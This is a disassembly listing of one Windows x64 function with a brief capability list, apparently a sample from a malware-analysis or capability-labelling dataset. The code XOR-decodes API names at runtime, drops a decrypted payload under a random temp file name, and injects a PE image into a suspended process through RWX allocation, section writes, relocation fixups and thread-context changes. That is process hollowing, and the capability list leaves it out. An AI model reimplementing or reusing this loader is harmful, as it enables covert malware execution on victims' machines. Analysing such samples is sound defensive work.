Function at 0x140001daa
Capabilities:
Encode data using xor
Get common file path
Link many functions at runtime

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0xa3f8
call fcn.140020f50
sub rsp, rax
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0xa360], xmm8
movaps xmmword [rbp + 0xa350], xmm7
movdqa xmmword [rbp + 0xa340], xmm6
mov qword [rbp + 0xa338], 0xfffffffffffffffe
inc qword [0x1401a90e8]
movsxd rdx, dword [rcx + 0x3c]
lea rax, [rdx + rcx]
inc qword [0x1401a9108]
test rax, rax
je 0x140001f81
lea rdi, [rdx + rcx]
add rdi, 0x108
inc qword [0x1401a9110]
inc qword [0x1401a90f8]
test rdi, rdi
je 0x140001f81
mov qword [rbp + 0xa328], rdx
mov qword [rbp + 0xa310], rcx
mov qword [rbp + 0xa210], rax
inc qword [0x1401a9100]
lea rdx, [rbp + 0x9b40]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
inc qword [0x1401a9208]
xor ecx, ecx
call fcn.140043d10
mov ecx, eax
call fcn.140043db0
lea r15, [rbp + 0x9d40]
mov r8d, 0x104
mov rcx, r15
xor edx, edx
call fcn.140014010
call fcn.140043d70
cdqe
imul rcx, rax, 0x66666667
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
add ecx, ecx
lea ecx, [rcx + rcx*4]
mov r12, qword [0x1401a9118]
inc r12
neg ecx
lea esi, [rax + rcx]
add esi, 0xa
movabs r13, 0xe38e38e38e38e38f
lea rbx, str.QWEDFG345678zxcvbn
lea r14, [rbp - 0x30]
mov qword [0x1401a9118], r12
call fcn.140043d70
movsxd rcx, eax
mov rax, rcx
mul r13
shr rdx, 3
and rdx, 0xfffffffffffffffe
lea rax, [rdx + rdx*8]
sub rcx, rax
mov al, byte [rbx + rcx]
mov byte [rbp - 0x30], al
mov byte [rbp - 0x2f], 0
mov rcx, r15
mov rdx, r14
call fcn.140043de0
inc r12
dec esi
jne 0x140001ed0
inc qword [0x1401ab1b0]
lea r15, [rbp + 0x9930]
lea r8, [rbp + 0x9b40]
mov edx, 0x104
mov rcx, r15
call fcn.140044440
inc qword [0x1401ab1b8]
lea r8, [rbp + 0x9d40]
mov edx, 0x104
mov rcx, r15
call fcn.140044b00
mov word [r15 + 0x206], 0
lea rcx, [rbp + 0xa2e8]
mov qword [rcx], 0
lea r8, [0x1400ea0d6]
mov rdx, r15
call fcn.1400453d0
test eax, eax
je 0x140001fb6
inc qword [0x1401a9120]
jmp 0x140001f88
inc qword [0x1401a90f0]
xor ebx, ebx
mov eax, ebx
movaps xmm6, xmmword [rbp + 0xa340]
movaps xmm7, xmmword [rbp + 0xa350]
movaps xmm8, xmmword [rbp + 0xa360]
add rsp, 0xa3f8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
inc qword [0x1401a9128]
cmp qword [rbp + 0xa2e8], 0
je 0x140001f78
inc qword [0x1401a9130]
lea rax, [rbp - 0x29]
mov dword [rax - 7], 0xe9b4d09
mov word [rax - 3], 0x33df
mov byte [rax - 1], 0xb3
lea rdx, [rbp + 0xa120]
mov qword [rdx], r14
mov qword [rdx + 8], rax
inc qword [0x1401ab130]
lea r14, [rbp + 0xa1a0]
lea r8, [rbp + 0x9e50]
mov rcx, r14
call fcn.1400032d0
lea rdx, [0x1400e0590]
lea r15, [rbp - 0x30]
mov r8d, 0x9960
mov rcx, r15
call fcn.1400140e0
mov r8d, 0x9960
mov rcx, r14
mov rdx, r15
call fcn.1400010fc
mov rsi, qword [rbp + 0xa210]
mov rbx, qword [rbp + 0xa310]
mov r9, qword [rbp + 0xa2e8]
lea rcx, [rbp - 0x30]
mov edx, 1
mov r8d, 0x9960
call fcn.140046320
mov rcx, qword [rbp + 0xa2e8]
call fcn.140046770
mov rcx, rsi
mov rdx, rdi
call section..text
mov r14d, eax
xorps xmm0, xmm0
movaps xmmword [rbp + 0xa130], xmm0
movaps xmmword [rbp + 0xa140], xmm0
movaps xmmword [rbp + 0xa150], xmm0
movaps xmmword [rbp + 0xa160], xmm0
movaps xmmword [rbp + 0xa170], xmm0
movaps xmmword [rbp + 0xa180], xmm0
xor eax, eax
mov qword [rbp + 0xa190], rax
mov dword [rbp + 0xa130], 0x68
movaps xmmword [rbp + 0xa2f0], xmm0
inc qword [0x1401a9210]
mov qword [rbp + 0xa300], rax
movups xmm0, xmmword [str.ZWAZPZ]
movaps xmmword [rbp + 0xa290], xmm0
movups xmm0, xmmword [0x1400e9efa]
movups xmmword [rbp + 0xa29a], xmm0
inc qword [0x1401ab880]
movdqu xmm0, xmmword [0x1401ab1c8]
pcmpeqd xmm1, xmm1
psubq xmm0, xmm1
movdqu xmmword [0x1401ab1c8], xmm0
inc qword [0x1401ab888]
mov rcx, qword [0x1401ab890]
lea edx, [rax + 0x31]
xor word [rbp + rax*2 + 0xa290], dx
inc rax
cmp rax, 0xd
jne 0x140002119
add rcx, 0xd
mov qword [0x1401ab890], rcx
lea rcx, [rbp + 0xa290]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x140002864
mov rdi, rax
inc qword [0x1401ab1d8]
inc qword [0x1401ab880]
cmp word [rbp + 0xa2a8], 0
jne 0x14000219f
inc qword [0x1401ab1e0]
inc qword [0x1401ab888]
mov rax, qword [0x1401ab890]
xor ecx, ecx
lea edx, [rcx + 0x31]
xor word [rbp + rcx*2 + 0xa290], dx
inc rcx
cmp rcx, 0xd
jne 0x140002180
add rax, 0xd
mov qword [0x1401ab890], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0xa29a], xmm0
movdqa xmmword [rbp + 0xa290], xmm0
movdqu xmm0, xmmword [0x1401ab1e8]
paddq xmm0, xmmword [0x1400e0500]
movdqu xmmword [0x1401ab1e8], xmm0
inc qword [0x1401a9218]
movups xmm0, xmmword [0x1400e9f0a]
movaps xmmword [rbp + 0xa250], xmm0
movups xmm0, xmmword [0x1400e9f18]
movups xmmword [rbp + 0xa25e], xmm0
inc qword [0x1401ab898]
movdqu xmm0, xmmword [0x1401ab1f8]
pcmpeqd xmm1, xmm1
inc qword [0x1401ab8a0]
psubq xmm0, xmm1
movdqu xmmword [0x1401ab1f8], xmm0
xor ecx, ecx
mov rax, qword [0x1401ab8a8]
lea edx, [rcx + 0x31]
xor word [rbp + rcx*2 + 0xa250], dx
inc rcx
cmp rcx, 0xf
jne 0x14000221d
add rax, 0xf
mov qword [0x1401ab8a8], rax
lea rcx, [rbp + 0xa250]
call fcn.140001076
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140002870
mov r10, rax
lea rax, [rbp + 0xa2f0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xa130]
mov qword [rsp + 0x40], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
lea rcx, [rbp + 0x9930]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call r10
test rax, rax
je 0x14000287c
inc qword [0x1401ab208]
mov rcx, qword [0x1401ab898]
lea rax, [rcx + 1]
mov qword [0x1401ab898], rax
cmp word [rbp + 0xa26c], 0
jne 0x140002309
inc qword [0x1401ab210]
inc qword [0x1401ab8a0]
mov rdx, qword [0x1401ab8a8]
xor r8d, r8d
lea r9d, [r8 + 0x31]
xor word [rbp + r8*2 + 0xa250], r9w
inc r8
cmp r8, 0xf
jne 0x1400022e8
add rdx, 0xf
mov qword [0x1401ab8a8], rdx
pxor xmm0, xmm0
movdqu xmmword [rbp + 0xa25e], xmm0
movdqa xmmword [rbp + 0xa250], xmm0
movdqu xmm0, xmmword [0x1401ab218]
paddq xmm0, xmmword [0x1400e0510]
movdqu xmmword [0x1401ab218], xmm0
test r14b, r14b
je 0x140002464
inc qword [0x1401a9150]
inc qword [0x1401a9220]
movups xmm0, xmmword [0x1400e9f28]
movaps xmmword [rbp + 0x9e50], xmm0
movups xmm0, xmmword [str.hKUXYNM_g_A__W_yUVT_xF_eWAYXVLjIS_L3Af_Z_PfEWZ_HOp_R_3_CcWRPeDX_IHqXSP28Bf_D]
inc qword [0x1401ab228]
movups xmmword [rbp + 0x9e5e], xmm0
add rcx, 2
mov qword [0x1401ab898], rcx
movdqu xmm0, xmmword [0x1401ab1f8]
pcmpeqd xmm1, xmm1
inc qword [0x1401ab8a0]
psubq xmm0, xmm1
movdqu xmmword [0x1401ab1f8], xmm0
mov rax, qword [0x1401ab8a8]
xor ecx, ecx
lea edx, [rcx + 0x31]
xor word [rbp + rcx*2 + 0x9e50], dx
inc rcx
cmp rcx, 0xf
jne 0x1400023a2
add rax, 0xf
mov qword [0x1401ab8a8], rax
lea rcx, [rbp + 0x9e50]
call fcn.140001076
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400028e9
mov rcx, qword [rbp + 0xa2f0]
lea rdx, [rbp + 0xa20c]
call rax
inc qword [0x1401ab208]
mov rax, qword [0x1401ab898]
inc rax
mov qword [0x1401ab898], rax
cmp word [rbp + 0x9e6c], 0
jne 0x14000244c
inc qword [0x1401ab210]
inc qword [0x1401ab8a0]
mov rcx, qword [0x1401ab8a8]
xor edx, edx
lea r8d, [rdx + 0x31]
xor word [rbp + rdx*2 + 0x9e50], r8w
inc rdx
cmp rdx, 0xf
jne 0x14000242b
add rcx, 0xf
mov qword [0x1401ab8a8], rcx
movdqu xmm0, xmmword [0x1401ab218]
paddq xmm0, xmmword [0x1400e0510]
movdqu xmmword [0x1401ab218], xmm0
inc qword [0x1401a9228]
movups xmm0, xmmword [0x1400e9f46]
movaps xmmword [rbp + 0xa270], xmm0
movups xmm0, xmmword [0x1400e9f54]
inc qword [0x1401ab228]
movups xmmword [rbp + 0xa27e], xmm0
inc rax
mov qword [0x1401ab898], rax
movdqu xmm0, xmmword [0x1401ab1f8]
pcmpeqd xmm1, xmm1
inc qword [0x1401ab8a0]
psubq xmm0, xmm1
movdqu xmmword [0x1401ab1f8], xmm0
mov rax, qword [0x1401ab8a8]
xor ecx, ecx
lea edx, [rcx + 0x31]
xor word [rbp + rcx*2 + 0xa270], dx
inc rcx
cmp rcx, 0xf
jne 0x1400024c0
add rax, 0xf
mov qword [0x1401ab8a8], rax
lea rcx, [rbp + 0xa270]
call fcn.140001076
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140002888
mov r10, rax
inc qword [0x1401ab208]
inc qword [0x1401ab898]
cmp word [rbp + 0xa28c], 0
jne 0x140002551
inc qword [0x1401ab210]
inc qword [0x1401ab8a0]
mov rax, qword [0x1401ab8a8]
xor ecx, ecx
lea edx, [rcx + 0x31]
xor word [rbp + rcx*2 + 0xa270], dx
inc rcx
cmp rcx, 0xf
jne 0x140002532
add rax, 0xf
mov qword [0x1401ab8a8], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0xa27e], xmm0
movdqa xmmword [rbp + 0xa270], xmm0
movdqu xmm0, xmmword [0x1401ab218]
paddq xmm0, xmmword [0x1400e0510]
movdqu xmmword [0x1401ab218], xmm0
mov edx, dword [rsi + 0x34]
mov r8d, dword [rsi + 0x50]
mov rcx, qword [rbp + 0xa2f0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
call r10
mov r15, rax
mov qword [rbp + 0xa330], rax
test rax, rax
jne 0x1400026fe
inc qword [0x1401a9168]
inc qword [0x1401a9230]
movups xmm0, xmmword [0x1400e9f64]
movaps xmmword [rbp + 0x9e50], xmm0
movups xmm0, xmmword [0x1400e9f74]
movaps xmmword [rbp + 0x9e60], xmm0
mov word [rbp + 0x9e70], 0x41
inc qword [0x1401ab230]
inc qword [0x1401ab8c0]
movdqu xmm0, xmmword [0x1401ab8b0]
pcmpeqd xmm1, xmm1
inc qword [0x1401ab8c8]
psubq xmm0, xmm1
movdqu xmmword [0x1401ab8b0], xmm0
xor ecx, ecx
mov rax, qword [0x1401ab8d0]
lea edx, [rcx + 0x31]
xor word [rbp + rcx*2 + 0x9e50], dx
inc rcx
cmp rcx, 0x11
jne 0x140002618
add rax, 0x11
mov qword [0x1401ab8d0], rax
lea rcx, [rbp + 0x9e50]
call fcn.140001076
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140002e04
mov rcx, qword [rbp + 0xa2f0]
xor edx, edx
call rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
inc qword [0x1401ab238]
inc qword [0x1401ab8c0]
cmp word [rbp + 0x9e70], 0
jne 0x1400026ba
inc qword [0x1401ab240]
inc qword [0x1401ab8c8]
mov rax, qword [0x1401ab8d0]
xor ecx, ecx
lea edx, [rcx + 0x31]
xor word [rbp + rcx*2 + 0x9e50], dx
inc rcx
cmp rcx, 0x11
jne 0x14000269b
add rax, 0x11
mov qword [0x1401ab8d0], rax
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x9e60], xmm0
movdqa xmmword [rbp + 0x9e50], xmm0
mov word [rbp + 0x9e70], 0
movdqu xmm0, xmmword [0x1401ab248]
paddq xmm0, xmmword [0x1400e0520]
movdqu xmmword [0x1401ab248], xmm0
mov rcx, rbx
call fcn.140001daa
mov r15, qword [rbp + 0xa330]
sub r15d, dword [rsi + 0x34]
inc qword [0x1401a9238]
movups xmm0, xmmword [0x1400e9f86]
movaps xmmword [rbp + 0xa220], xmm0
movups xmm0, xmmword [0x1400e9f96]
movaps xmmword [rbp + 0xa230], xmm0
movabs rax, 0x43003b0033002f
mov qword [rbp + 0xa23e], rax
inc qword [0x1401ab258]
inc qword [0x1401ab8e8]
movdqu xmm0, xmmword [0x1401ab8d8]
pcmpeqd xmm1, xmm1
inc qword [0x1401ab8f0]
psubq xmm0, xmm1
movdqu xmmword [0x1401ab8d8], xmm0
mov rax, qword [0x1401ab8f8]
xor ecx, ecx
lea edx, [rcx + 0x31]
xor word [rbp + rcx*2 + 0xa220], dx
inc rcx
cmp rcx, 0x13
jne 0x14000276c
add rax, 0x13
mov qword [0x1401ab8f8], rax
lea rcx, [rbp + 0xa220]
call fcn.140001076
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
inc qword [0x1401ab260]
inc qword [0x1401ab8e8]
mov qword [rbp + 0xa318], rax
cmp word [rbp + 0xa244], 0
jne 0x1400027f8
inc qword [0x1401ab268]
inc qword [0x1401ab8f0]
mov rax, qword [0x1401ab8f8]
xor ecx, ecx
lea edx, [rcx + 0x31]
xor word [rbp + rcx*2 + 0xa220], dx
inc rcx
cmp rcx, 0x13
jne 0x1400027d9
add rax, 0x13
mov qword [0x1401ab8f8], rax
pxor xmm0, xmm0
movdqa xmmword [rbp + 0xa230], xmm0
movdqa xmmword [rbp + 0xa220], xmm0
mov qword [rbp + 0xa23e], 0
movdqu xmm0, xmmword [0x1401ab270]
paddq xmm0, xmmword [0x1400e0530]
movdqu xmmword [0x1401ab270], xmm0
test r14b, r14b
je 0x140002894
inc qword [0x1401a9178]
mov rdx, qword [rbp + 0xa330]
mov dword [rsi + 0x34], edx
mov r9d, dword [rsi + 0x54]
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
mov r8, rbx
call qword [rbp + 0xa318]
jmp 0x1400028b8
inc qword [0x1401a9138]
jmp 0x1400030f5
inc qword [0x1401a9140]
jmp 0x1400030f5
inc qword [0x1401a9148]
jmp 0x1400030f5
inc qword [0x1401a9160]
jmp 0x1400030f5
mov r9d, dword [rsi + 0x54]
mov rdx, qword [rbp + 0xa330]
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
mov r8, rbx
call qword [rbp + 0xa318]
test rax, rax
je 0x1400028f5
mov qword [rbp + 0xa218], r15
cmp dword [rsi + 0xa0], 0
je 0x140002901
inc qword [0x1401a9188]
mov r15d, dword [rsi + 0xa0]
mov eax, dword [rsi + 0xa4]
mov dword [rbp + 0xa324], eax
jmp 0x14000290e
inc qword [0x1401a9158]
jmp 0x1400030f5
inc qword [0x1401a9180]
jmp 0x1400030f5
xor r15d, r15d
mov dword [rbp + 0xa324], 0
test r14b, r14b
je 0x1400029f6
inc qword [0x1401a9190]
cmp word [rsi + 6], 0
je 0x1400029ea
mov rax, qword [rbp + 0xa328]
mov rbx, qword [rbp + 0xa310]
lea r12, [rbx + rax]
add r12, 0x18
xor r13d, r13d
xor eax, eax
mov qword [rbp + 0xa328], rax
inc qword [0x1401a9198]
movzx ecx, word [rsi + 0x14]
lea rax, [r12 + rcx]
mov ecx, dword [r12 + rcx + 0xc]
cmp r15d, ecx
jb 0x140002993
inc qword [0x1401a91a8]
mov ecx, dword [rax + 0xc]
mov edx, dword [rax + 8]
add edx, ecx
cmp r15d, edx
jae 0x140002993
inc qword [0x1401a91b0]
inc qword [0x1401a91a0]
mov ecx, dword [rax + 0xc]
mov rdx, rax
mov qword [rbp + 0xa328], rax
mov r9d, dword [rax + 0x10]
mov r8d, dword [rax + 0x14]
add r8, rbx
mov edx, ecx
add rdx, qword [rbp + 0xa330]
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
call qword [rbp + 0xa318]
test rax, rax
je 0x140002e10
inc r13
movzx eax, word [rsi + 6]
add r12, 0x28
cmp r13, rax
jb 0x14000294b
mov rbx, qword [rbp + 0xa328]
test rbx, rbx
jne 0x140002a6f
inc qword [0x1401a91c0]
jmp 0x1400030f5
cmp word [rsi + 6], 0
je 0x140002ce0
mov rax, qword [rbp + 0xa328]
mov rbx, qword [rbp + 0xa310]
lea r15, [rbx + rax]
add r15, 0x18
xor r12d, r12d
inc qword [0x1401a91c8]
movzx eax, word [rsi + 0x14]
mov edx, dword [r15 + rax + 0xc]
mov r9d, dword [r15 + rax + 0x10]
mov r8d, dword [r15 + rax + 0x14]
add r8, rbx
add rdx, qword [rbp + 0xa330]
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
call qword [rbp + 0xa318]
test rax, rax
je 0x140002e1c
inc r12
movzx eax, word [rsi + 6]
add r15, 0x28
cmp r12, rax
jb 0x140002a1a
xor ebx, ebx
test r14b, r14b
je 0x140002ce0
inc qword [0x1401a91d8]
cmp dword [rbp + 0xa324], 0
je 0x140002ce0
xor r13d, r13d
movabs rcx, 0x1fffffff8
pcmpeqd xmm6, xmm6
xorps xmm7, xmm7
movdqa xmm8, xmmword [0x1400e0540]
inc qword [0x1401a91e0]
mov eax, dword [rbx + 0x14]
mov edx, r13d
add rdx, qword [rbp + 0xa310]
add r13d, 8
mov r12d, dword [rax + rdx + 4]
add r12, rcx
shr r12, 1
test r12d, r12d
je 0x140002cd3
add rdx, rax
lea eax, [r13 + r12*2]
mov dword [rbp + 0xa2e4], eax
xor r15d, r15d
mov qword [rbp + 0xa328], rdx
inc qword [0x1401a91e8]
mov eax, dword [rbx + 0x14]
mov ecx, r13d
add rcx, qword [rbp + 0xa310]
movzx r14d, word [rax + rcx]
cmp r14, 0xfff
ja 0x140002b1b
inc qword [0x1401a91f0]
jmp 0x140002cb0
mov eax, dword [rdx]
and r14d, 0xfff
add r14, qword [rbp + 0xa330]
add r14, rax
inc qword [0x1401a9240]
mov dword [rbp + 0xa2b0], 0
movups xmm0, xmmword [0x1400e9fac]
movaps xmmword [rbp + 0x9e50], xmm0
movups xmm0, xmmword [0x1400e9fbc]
movaps xmmword [rbp + 0x9e60], xmm0
inc qword [0x1401ab280]
mov dword [rbp + 0x9e70], 0x420038
inc qword [0x1401ab910]
movdqu xmm0, xmmword [0x1401ab900]
inc qword [0x1401ab918]
psubq xmm0, xmm6
movdqu xmmword [0x1401ab900], xmm0
mov rax, qword [0x1401ab920]
xor ecx, ecx
lea edx, [rcx + 0x31]
xor word [rbp + rcx*2 + 0x9e50], dx
inc rcx
cmp rcx, 0x12
jne 0x140002b97
add rax, 0x12
mov qword [0x1401ab920], rax
lea rcx, [rbp + 0x9e50]
call fcn.140001076
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400030ee
inc qword [0x1401ab288]
inc qword [0x1401ab910]
cmp word [rbp + 0x9e72], 0
jne 0x140002c27
inc qword [0x1401ab290]
inc qword [0x1401ab918]
mov rcx, qword [0x1401ab920]
xor edx, edx
lea r8d, [rdx + 0x31]
xor word [rbp + rdx*2 + 0x9e50], r8w
inc rdx
cmp rdx, 0x12
jne 0x140002c06
add rcx, 0x12
mov qword [0x1401ab920], rcx
movaps xmmword [rbp + 0x9e60], xmm7
movaps xmmword [rbp + 0x9e50], xmm7
mov dword [rbp + 0x9e70], 0
movdqu xmm0, xmmword [0x1401ab298]
paddq xmm0, xmm8
movdqu xmmword [0x1401ab298], xmm0
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rdx, r14
lea r8, [rbp + 0xa2b0]
call rax
mov rax, qword [rbp + 0xa218]
add dword [rbp + 0xa2b0], eax
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rdx, r14
lea r8, [rbp + 0xa2b0]
call qword [rbp + 0xa318]
mov rdx, qword [rbp + 0xa328]
add r13d, 2
inc r15d
cmp r15d, r12d
jne 0x140002aed
mov eax, dword [rbp + 0xa2e4]
mov r13d, eax
movabs rcx, 0x1fffffff8
cmp r13d, dword [rbp + 0xa324]
jb 0x140002aa9
mov dword [rbp + 0x9e50], 0x10000b
inc qword [0x1401a9248]
movups xmm0, xmmword [0x1400e9fd0]
movaps xmmword [rbp + 0xa2b0], xmm0
movups xmm0, xmmword [0x1400e9fe0]
movaps xmmword [rbp + 0xa2c0], xmm0
movups xmm0, xmmword [0x1400e9fec]
movups xmmword [rbp + 0xa2cc], xmm0
inc qword [0x1401ab2a8]
inc qword [0x1401ab938]
movdqu xmm0, xmmword [0x1401ab928]
pcmpeqd xmm1, xmm1
inc qword [0x1401ab940]
psubq xmm0, xmm1
movdqu xmmword [0x1401ab928], xmm0
xor ecx, ecx
mov rax, qword [0x1401ab948]
lea edx, [rcx + 0x31]
xor word [rbp + rcx*2 + 0xa2b0], dx
inc rcx
cmp rcx, 0x16
jne 0x140002d51
add rax, 0x16
mov qword [0x1401ab948], rax
lea rcx, [rbp + 0xa2b0]
call fcn.140001076
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
setne bl
je 0x140002e28
mov rcx, qword [rbp + 0xa2f8]
lea rdx, [rbp + 0x9e50]
call rax
mov edx, dword [rbp + 0x9ef4]
add rdx, 8
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0xa330]
mov r9d, 4
call qword [rbp + 0xa318]
inc qword [0x1401ab2b0]
mov rcx, qword [0x1401ab938]
lea rax, [rcx + 1]
mov qword [0x1401ab938], rax
cmp word [rbp + 0xa2da], 0
je 0x140002e34
mov rdx, qword [0x1401ab940]
mov rax, qword [0x1401ab948]
jmp 0x140002e77
inc qword [0x1401a9170]
jmp 0x1400030f5
inc qword [0x1401a91b8]
jmp 0x1400030f5
inc qword [0x1401a91d0]
jmp 0x1400030f5
inc qword [0x1401a9200]
jmp 0x1400030f7
inc qword [0x1401ab2b8]
mov rdx, qword [0x1401ab940]
inc rdx
mov qword [0x1401ab940], rdx
mov rax, qword [0x1401ab948]
xor r8d, r8d
lea r9d, [r8 + 0x31]
xor word [rbp + r8*2 + 0xa2b0], r9w
inc r8
cmp r8, 0x16
jne 0x140002e56
add rax, 0x16
mov qword [0x1401ab948], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0xa2cc], xmm0
movdqu xmm1, xmmword [0x1401ab2c0]
paddq xmm1, xmmword [0x1400e0550]
movdqa xmmword [rbp + 0xa2c0], xmm0
inc qword [0x1401a9250]
movdqa xmmword [rbp + 0xa2b0], xmm0
movdqu xmmword [0x1401ab2c0], xmm1
movups xmm0, xmmword [0x1400e9ffc]
movaps xmmword [rbp + 0xa1c0], xmm0
movups xmm0, xmmword [0x1400ea00c]
movaps xmmword [rbp + 0xa1d0], xmm0
movups xmm0, xmmword [0x1400ea018]
movups xmmword [rbp + 0xa1dc], xmm0
mov r8d, dword [rsi + 0x28]
add r8d, dword [rbp + 0xa330]
mov dword [rbp + 0x9f00], r8d
inc qword [0x1401ab2a8]
add rcx, 2
mov qword [0x1401ab938], rcx
movdqu xmm0, xmmword [0x1401ab928]
pcmpeqd xmm1, xmm1
psubq xmm0, xmm1
movdqu xmmword [0x1401ab928], xmm0
inc rdx
mov qword [0x1401ab940], rdx
xor ecx, ecx
lea edx, [rcx + 0x31]
xor word [rbp + rcx*2 + 0xa1c0], dx
inc rcx
cmp rcx, 0x16
jne 0x140002f24
add rax, 0x16
mov qword [0x1401ab948], rax
lea rcx, [rbp + 0xa1c0]
call fcn.140001076
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0xa2f8]
lea rdx, [rbp + 0x9e50]
call rax
inc qword [0x1401ab2b0]
inc qword [0x1401ab938]
cmp word [rbp + 0xa1ea], 0
jne 0x140002fb9
inc qword [0x1401ab2b8]
inc qword [0x1401ab940]
mov rax, qword [0x1401ab948]
xor ecx, ecx
lea edx, [rcx + 0x31]
xor word [rbp + rcx*2 + 0xa1c0], dx
inc rcx
cmp rcx, 0x16
jne 0x140002f9a
add rax, 0x16
mov qword [0x1401ab948], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0xa1dc], xmm0
movdqa xmmword [rbp + 0xa1d0], xmm0
movdqu xmm1, xmmword [0x1401ab2c0]
paddq xmm1, xmmword [0x1400e0550]
movdqa xmmword [rbp + 0xa1c0], xmm0
inc qword [0x1401a9258]
movdqu xmmword [0x1401ab2c0], xmm1
movups xmm0, xmmword [0x1400ea028]
movaps xmmword [rbp + 0xa1f0], xmm0
movups xmm0, xmmword [0x1400ea032]
movups xmmword [rbp + 0xa1fa], xmm0
inc qword [0x1401ab2d0]
inc qword [0x1401ab880]
movdqu xmm0, xmmword [0x1401ab1c8]
pcmpeqd xmm1, xmm1
inc qword [0x1401ab888]
psubq xmm0, xmm1
movdqu xmmword [0x1401ab1c8], xmm0
xor ecx, ecx
mov rax, qword [0x1401ab890]
lea edx, [rcx + 0x31]
xor word [rbp + rcx*2 + 0xa1f0], dx
inc rcx
cmp rcx, 0xd
jne 0x140003046
add rax, 0xd
mov qword [0x1401ab890], rax
lea rcx, [rbp + 0xa1f0]
call fcn.140001076
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0xa2f8]
call rax
inc qword [0x1401ab1d8]
inc qword [0x1401ab880]
cmp word [rbp + 0xa208], 0
jne 0x1400030d4
inc qword [0x1401ab1e0]
inc qword [0x1401ab888]
mov rax, qword [0x1401ab890]
xor ecx, ecx
lea edx, [rcx + 0x31]
xor word [rbp + rcx*2 + 0xa1f0], dx
inc rcx
cmp rcx, 0xd
jne 0x1400030b5
add rax, 0xd
mov qword [0x1401ab890], rax
movdqu xmm0, xmmword [0x1401ab1e8]
paddq xmm0, xmmword [0x1400e0500]
movdqu xmmword [0x1401ab1e8], xmm0
jmp 0x1400030f7
inc qword [0x1401a91f8]
xor ebx, ebx
inc qword [0x1401ab1a8]
lea rsi, [rbp + 0xa1a0]
mov rcx, rsi
call fcn.14000ec12
inc qword [0x1401ab590]
inc qword [0x1401ab608]
inc qword [0x1401ab598]
inc qword [0x1401ab7c0]
inc qword [0x1401ab420]
mov rcx, qword [rsi]
mov qword [rsi], 0
movdqu xmm0, xmmword [0x1401ab540]
pcmpeqd xmm1, xmm1
psubq xmm0, xmm1
inc qword [0x1401ab550]
movdqu xmmword [0x1401ab540], xmm0
inc qword [0x1401ab4c0]
mov edx, 0x10
call fcn.140020ed0
jmp 0x140001f8a